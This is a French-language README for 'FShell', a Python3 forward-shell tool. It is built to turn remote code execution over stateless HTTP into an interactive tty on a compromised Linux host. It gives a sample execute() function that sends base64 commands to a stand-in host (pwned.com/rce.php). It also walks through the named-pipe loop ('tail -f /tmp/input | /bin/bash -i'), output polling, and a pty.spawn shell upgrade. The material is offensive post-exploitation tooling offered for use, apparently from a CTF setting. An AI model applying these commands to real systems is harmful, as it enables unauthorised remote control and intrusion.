
Mon implémentation python3 d'un Forward Shell.
FShell est mon implémentation d'un Forward Shell. Il est conçu pour obtenir un tty interactif en utilisant l'exécution de code à distance via un protocole sans état (par exemple HTTP).
Cependant, il a aussi des inconvénients
La fréquence des requêtes peut être modifiée en changeant la variable BEACONING_DELAY.
Python3 et libs :
Seul Linux est pris en charge pour le moment et nécessite des commandes/outils de base sur le système distant :
Modifiez la variable WRITABLE_FOLDER si /tmp n'est pas disponible en écriture ou si vous avez quelque chose de mieux (préférez /dev/shm)
Vous devez redéfinir la fonction execute pour effectuer votre exécution de code à distance :
def execute(cmd, verbose=False, timeout=None):
"""
:cmd Commande shell brute à exécuter sur le système distant
:timetout OBLIGATOIRE : Utilisé pour tuer la boucle d'exécution bloquante (utilisé dans la création du named pipe).
Si vous ne pouvez pas, mettez la création du named pipe dans un thread séparé
:verbose Affiche la commande complète exécutée sur le système distant (mode Debug)
"""
# Mettez votre code RCE ici
r = requests.get('http://pwned.com/rce.php?cmd=%s' % (b64encode(cmd)), timeout=timeout)
return r.text.strip() # Vous pouvez appliquer un formatage si la sortie n'est pas uniquement la sortie de la commande

Les concepts sont assez simples.
Vous devez d'abord créer un named pipe sur le système distant.
Il sera utilisé pour envoyer des commandes au shell
mkfifo /tmp/input.
Ensuite, créez une boucle bash qui lit le named pipe en continu et l'envoie à un processus bash interactif qui envoie stdin et stderr vers un fichier de sortie.
tail -f /tmp/input | /bin/bash -i > /tmp/output 2>&1
[Lecture du named pipe] -> [Exécution du contenu du named pipe] -> [Envoi de stdin/stderr dans le fichier de sortie] -> [Retour à la lecture du named pipe grâce à l'option '-f' de tail]
L'étape suivante consiste à démarrer un thread python qui exécute cat /tmp/output régulièrement pour obtenir la sortie du shell.
Si le thread trouve des données, il videra le contenu du fichier de sortie en utilisant echo '' > /tmp/output
Astuce : Afin d'éviter les erreurs de journalisation pour un fichier inexistant, le script exécute la commande 'id' avant de démarrer le thread 'GetOutput' pour créer le fichier de sortie.
Une des dernières étapes consiste à obtenir la saisie utilisateur depuis notre script python et à l'envoyer au named pipeecho USERCMD > /tmp/input
Et l'astuce finale pour obtenir un tty interactif distant est la commande 'upgrade_shell'.
Cette commande exécute un python -c 'import pty;pty.spawn("/bin/bash")' (ainsi que quelques exports et alias) pour créer un vrai tty pour le processus courant (utilisé dans la boucle du named pipe)
Merci à @ippsec, je ne savais pas que quelque chose comme ça était possible avant de regarder ces vidéos Stratosphere HTB Write Up !
J'espère que vous apprécierez !